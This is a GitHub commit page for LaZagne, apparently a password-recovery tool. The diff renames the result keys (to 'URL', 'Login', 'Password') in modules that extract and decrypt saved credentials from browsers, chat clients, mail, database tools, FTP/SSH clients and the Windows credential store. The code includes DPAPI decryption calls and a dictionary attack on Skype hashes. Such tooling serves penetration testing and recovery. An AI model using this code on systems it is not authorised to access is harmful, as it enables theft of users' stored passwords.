Skip to content

Commit

Permalink
generic name used to stored results
Browse files Browse the repository at this point in the history
  • Loading branch information
Alessandro ZANNI committed Oct 17, 2016
1 parent adf9827 commit 3b937d9
Show file tree
Hide file tree
Showing 21 changed files with 55 additions and 56 deletions.
4 changes: 2 additions & 2 deletions Windows/lazagne/softwares/browsers/chrome.py
Original file line number Diff line number Diff line change
Expand Up @@ -78,8 +78,8 @@ def run(self, software_name = None):
print_debug('DEBUG', '{0}'.format(e))

if password:
values['Website'] = result[0]
values['Username'] = result[1]
values['URL'] = result[0]
values['Login'] = result[1]
values['Password'] = password
pwdFound.append(values)

Expand Down
4 changes: 2 additions & 2 deletions Windows/lazagne/softwares/browsers/ie.py
Original file line number Diff line number Diff line change
Expand Up @@ -170,8 +170,8 @@ def decipher_password(self, cipher_text, u):
try:
if s % 2 != 0:
values = {}
values['Website'] = u.decode('UTF-16LE')
values['Username'] = secret[length - s]
values['URL'] = u.decode('UTF-16LE')
values['Login'] = secret[length - s]
values['Password'] = password
pfound.append(values)
else:
Expand Down
6 changes: 3 additions & 3 deletions Windows/lazagne/softwares/browsers/mozilla.py
Original file line number Diff line number Diff line change
Expand Up @@ -502,7 +502,7 @@ def run(self, software_name = None):
# everything is ready to decrypt password
for host, user, passw in credentials:
values = {}
values["Website"] = host
values["URL"] = host

# Login
loginASN1 = decoder.decode(b64decode(user))
Expand All @@ -512,9 +512,9 @@ def run(self, software_name = None):
# remove bad character at the end
try:
nb = unpack('B', login[-1])[0]
values["Username"] = login[:-nb]
values["Login"] = login[:-nb]
except:
values["Username"] = login
values["Login"] = login

# Password
passwdASN1 = decoder.decode(b64decode(passw))
Expand Down
7 changes: 3 additions & 4 deletions Windows/lazagne/softwares/browsers/opera.py
Original file line number Diff line number Diff line change
Expand Up @@ -144,8 +144,8 @@ def decipher_new_version(self, path):
# Decrypt the Password
password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
if password:
values['Website'] = result[0]
values['Username'] = result[1]
values['URL'] = result[0]
values['Login'] = result[1]
values['Password'] = password
pwdFound.append(values)

Expand Down Expand Up @@ -193,8 +193,7 @@ def parse_results(self, passwords):
if cpt == 2:
tmp_cpt += 1
if tmp_cpt == 2:
values['User'] = password
print 'User:' + password
values['Login'] = password
elif tmp_cpt == 4:
values['Password'] = password

Expand Down
2 changes: 1 addition & 1 deletion Windows/lazagne/softwares/chats/jitsi.py
Original file line number Diff line number Diff line change
Expand Up @@ -62,7 +62,7 @@ def get_info(self, file_properties):
cpt = 0

values = {}
values['Account id'] = m.group(2)
values['Login'] = m.group(2)
cpt += 1

if 'ENCRYPTED_PASSWORD' in line:
Expand Down
10 changes: 5 additions & 5 deletions Windows/lazagne/softwares/chats/skype.py
Original file line number Diff line number Diff line change
Expand Up @@ -120,7 +120,7 @@ def run(self, software_name = None):
values = {}

try:
values['username'] = d
values['Login'] = d

# get encrypted hash from the config file
enc_hex = self.get_hash_credential(directory + os.sep + d + os.sep + 'config.xml')
Expand All @@ -129,13 +129,13 @@ def run(self, software_name = None):
print_debug('WARNING', 'No credential stored on the config.xml file.')
else:
# decrypt the hash to get the md5 to brue force
values['hash_md5'] = self.get_md5_hash(enc_hex, key)
values['shema to bruteforce'] = values['username'] + '\\nskyper\\n<password>'
values['Hash'] = self.get_md5_hash(enc_hex, key)
values['shema to bruteforce using md5'] = values['Login'] + '\\nskyper\\n<password>'

# Try a dictionary attack on the hash
password = self.dictionary_attack(values['username'], values['hash_md5'])
password = self.dictionary_attack(values['Login'], values['Hash'])
if password:
values['password'] = password
values['Password'] = password

pwdFound.append(values)
except Exception,e:
Expand Down
6 changes: 3 additions & 3 deletions Windows/lazagne/softwares/databases/dbvis.py
Original file line number Diff line number Diff line change
Expand Up @@ -53,12 +53,12 @@ def get_infos(self, path, passphrase, salt):
for e in tree.findall('Databases/Database'):
values = {}
try:
values['Connection Name'] = e.find('Alias').text
values['Name'] = e.find('Alias').text
except:
pass

try:
values['Userid'] = e.find('Userid').text
values['Login'] = e.find('Userid').text
except:
pass

Expand All @@ -83,7 +83,7 @@ def get_infos(self, path, passphrase, salt):
for ee in elem.getchildren():
for ele in ee.getchildren():
if 'Server' == ele.attrib['UrlVariableName']:
values['Server'] = str(ele.text)
values['Host'] = str(ele.text)
if 'Port' == ele.attrib['UrlVariableName']:
values['Port'] = str(ele.text)
if 'SID' == ele.attrib['UrlVariableName']:
Expand Down
12 changes: 6 additions & 6 deletions Windows/lazagne/softwares/databases/robomongo.py
Original file line number Diff line number Diff line change
Expand Up @@ -46,19 +46,19 @@ def extract_connections_credentials(self):
connections_infos = json.load(connection_file)
for connection_infos in connections_infos["connections"]:
creds = {}
creds["ConnectionName"] = connection_infos["connectionName"]
creds["ServerHost"] = connection_infos["serverHost"]
creds["ServerPort"] = connection_infos["serverPort"]
creds["Name"] = connection_infos["connectionName"]
creds["Host"] = connection_infos["serverHost"]
creds["Port"] = connection_infos["serverPort"]
if bool(connection_infos["credentials"][0]["enabled"]):
creds["AuthMode"] = "CREDENTIALS"
creds["DatabaseName"] = connection_infos["credentials"][0]["databaseName"]
creds["AuthMechanism"] = connection_infos["credentials"][0]["mechanism"]
creds["Login"] = connection_infos["credentials"][0]["userName"]
creds["Password"] = connection_infos["credentials"][0]["userPassword"]
else:
creds["SSHHost"] = connection_infos["ssh"]["host"]
creds["SSHPort"] = connection_infos["ssh"]["port"]
creds["SSHLogin"] = connection_infos["ssh"]["userName"]
creds["Host"] = connection_infos["ssh"]["host"]
creds["Port"] = connection_infos["ssh"]["port"]
creds["Login"] = connection_infos["ssh"]["userName"]
if (bool(connection_infos["ssh"]["enabled"]) and
connection_infos["ssh"]["method"] == "password"):
creds["AuthMode"] = "SSH_CREDENTIALS"
Expand Down
16 changes: 8 additions & 8 deletions Windows/lazagne/softwares/databases/sqldeveloper.py
Original file line number Diff line number Diff line change
Expand Up @@ -86,40 +86,40 @@ def get_infos(self, path, passphrase, salt):
if 'addrType' in elem.attrib.keys():
if elem.attrib['addrType'] == 'sid':
for e in elem.getchildren():
values['sid'] = e.text
values['SID'] = e.text

elif elem.attrib['addrType'] == 'port':
for e in elem.getchildren():
values['port'] = e.text
values['Port'] = e.text

elif elem.attrib['addrType'] == 'user':
for e in elem.getchildren():
values['user'] = e.text
values['Login'] = e.text

elif elem.attrib['addrType'] == 'ConnName':
for e in elem.getchildren():
values['Connection Name'] = e.text
values['Name'] = e.text

elif elem.attrib['addrType'] == 'customUrl':
for e in elem.getchildren():
values['custom Url'] = e.text
values['URL'] = e.text

elif elem.attrib['addrType'] == 'SavePassword':
for e in elem.getchildren():
values['SavePassword'] = e.text

elif elem.attrib['addrType'] == 'hostname':
for e in elem.getchildren():
values['hostname'] = e.text
values['Host'] = e.text

elif elem.attrib['addrType'] == 'password':
for e in elem.getchildren():
pwd = self.decrypt(salt, e.text, passphrase)
values['password'] = pwd
values['Password'] = pwd

elif elem.attrib['addrType'] == 'driver':
for e in elem.getchildren():
values['driver'] = e.text
values['Driver'] = e.text

# password found
pwdFound.append(values)
Expand Down
8 changes: 4 additions & 4 deletions Windows/lazagne/softwares/databases/squirrel.py
Original file line number Diff line number Diff line change
Expand Up @@ -31,16 +31,16 @@ def parse_xml(self, xml_file):
values = {}
for e in elem:
if e.tag == 'name':
values['name'] = e.text
values['Name'] = e.text

elif e.tag == 'url':
values['url'] = e.text
values['URL'] = e.text

elif e.tag == 'userName':
values['userName'] = e.text
values['Login'] = e.text

elif e.tag == 'password':
values['password'] = e.text
values['Password'] = e.text

if len(values):
pwdFound.append(values)
Expand Down
2 changes: 1 addition & 1 deletion Windows/lazagne/softwares/git/gitforwindows.py
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,7 @@ def extract_credentials(self, location):
for cred in creds:
if len(cred) > 0:
parts = urlparse(cred)
values["Username"] = parts.username
values["Login"] = parts.username
values["Password"] = parts.password
values["URL"] = parts.geturl().replace(parts.username + ":" + parts.password + "@", "").strip()
pwd_found.append(values)
Expand Down
4 changes: 2 additions & 2 deletions Windows/lazagne/softwares/mails/outlook.py
Original file line number Diff line number Diff line change
Expand Up @@ -48,10 +48,10 @@ def retrieve_info(self, hkey, name_key):
if 'password' in k[0].lower():
try:
password = win32crypt.CryptUnprotectData(k[1][1:], None, None, None, 0)[1]
values[k[0]] = password.decode('utf16')
values['Password'] = password.decode('utf16')
except Exception,e:
print_debug('DEBUG', '{0}'.format(e))
values[k[0]] = 'N/A'
values['Password'] = 'N/A'
else:
try:
values[k[0]] = str(k[1]).decode('utf16')
Expand Down
2 changes: 1 addition & 1 deletion Windows/lazagne/softwares/maven/mavenrepositories.py
Original file line number Diff line number Diff line change
Expand Up @@ -110,7 +110,7 @@ def run(self, software_name = None):
for creds in repos_creds:
values = {}
values["Id"] = creds["id"]
values["Username"] = creds["username"]
values["Login"] = creds["username"]
if not self.use_key_auth(creds):
pwd = creds["password"].strip()
# Case for authentication using password protected with the master password
Expand Down
2 changes: 1 addition & 1 deletion Windows/lazagne/softwares/svn/tortoise.py
Original file line number Diff line number Diff line change
Expand Up @@ -70,7 +70,7 @@ def run(self, software_name = None):

if password:
values['URL'] = url
values['Username'] = username
values['Login'] = username
values['Password'] = password

pwdFound.append(values)
Expand Down
4 changes: 2 additions & 2 deletions Windows/lazagne/softwares/sysadmin/apachedirectorystudio.py
Original file line number Diff line number Diff line change
Expand Up @@ -52,8 +52,8 @@ def run(self, software_name = None):
values = {}
values["Host"] = creds["host"]
values["Port"] = creds["port"]
values["BindPrincipal"] = creds["bindPrincipal"]
values["BindPassword"] = creds["bindPassword"]
values["Login"] = creds["bindPrincipal"]
values["Password"] = creds["bindPassword"]
values["AuthenticationMethod"] = creds["authMethod"]
pwd_found.append(values)

Expand Down
2 changes: 1 addition & 1 deletion Windows/lazagne/softwares/sysadmin/coreftp.py
Original file line number Diff line number Diff line change
Expand Up @@ -44,7 +44,7 @@ def get_key_info(self):
if k[0] == 'Port':
values['Port'] = k[1]
if k[0] == 'User':
values['User'] = k[1]
values['Login'] = k[1]
pwdFound.append(values)
if k[0] == 'PW':
try:
Expand Down
6 changes: 3 additions & 3 deletions Windows/lazagne/softwares/sysadmin/ftpnavigator.py
Original file line number Diff line number Diff line change
Expand Up @@ -24,17 +24,17 @@ def read_file(self, filepath):
if i[0] == 'Name':
values['Name'] = i[1]
if i[0] == 'Server':
values['Server'] = i[1]
values['Host'] = i[1]
if i[0] == 'Port':
values['Port'] = i[1]
if i[0] == 'User':
values['User'] = i[1]
values['Login'] = i[1]
if i[0] == "Password":
if i[1] != '1' and i[1] != '0':
values['Password'] = self.decode(i[1])

# used to save the password if it is an anonymous authentication
if values['User'] == 'anonymous' and 'Password' not in values.keys():
if values['Login'] == 'anonymous' and 'Password' not in values.keys():
values['Password'] = 'anonymous'

pwdFound.append(values)
Expand Down
2 changes: 1 addition & 1 deletion Windows/lazagne/softwares/sysadmin/puttycm.py
Original file line number Diff line number Diff line change
Expand Up @@ -62,7 +62,7 @@ def parse_xml(self, database_path):
find = True

if find:
values[str(c.tag)] = str(c.text)
values[str(c.tag).capitalize()] = str(c.text)

# password found
if len(values) != 0:
Expand Down
4 changes: 2 additions & 2 deletions Windows/lazagne/softwares/sysadmin/winscp.py
Original file line number Diff line number Diff line change
Expand Up @@ -112,9 +112,9 @@ def get_logins_info(self):
except Exception,e:
print_debug('DEBUG', '{0}'.format(e))

values['Hostname'] = self.get_hostname()
values['URL'] = self.get_hostname()
values['Port'] = port
values['Username'] = self.get_username()
values['Login'] = self.get_username()

pwdFound.append(values)

Expand Down
4 changes: 2 additions & 2 deletions Windows/lazagne/softwares/windows/dot_net.py
Original file line number Diff line number Diff line change
Expand Up @@ -68,9 +68,9 @@ def run(self, software_name = None):
cipher_text = i['CredentialBlob']
pwd = self.Win32CryptUnprotectData(cipher_text, self.get_entropy())
if pwd != 'failed':
values['TargetName'] = i['TargetName']
values['URL'] = i['TargetName']
if i['UserName'] is not None:
values['Username'] = i['UserName']
values['Login'] = i['UserName']
try:
values['Password'] = pwd.decode('utf16')
except Exception,e:
Expand Down
4 changes: 2 additions & 2 deletions Windows/lazagne/softwares/windows/network.py
Original file line number Diff line number Diff line change
Expand Up @@ -77,14 +77,14 @@ def run(self, software_name = None):

if pwd != 'failed':
targetName = i['TargetName'].replace('Microsoft_WinInet_', '')
values['TargetName'] = targetName
values['URL'] = targetName

if os_plateform == 'XP':
t = targetName.split('/')
targetName = t[0]

if i['UserName'] is not None:
values['Username'] = i['UserName']
values['Login'] = i['UserName']

try:
values['Password'] = pwd.decode('utf16')
Expand Down

0 comments on commit 3b937d9

Please sign in to comment.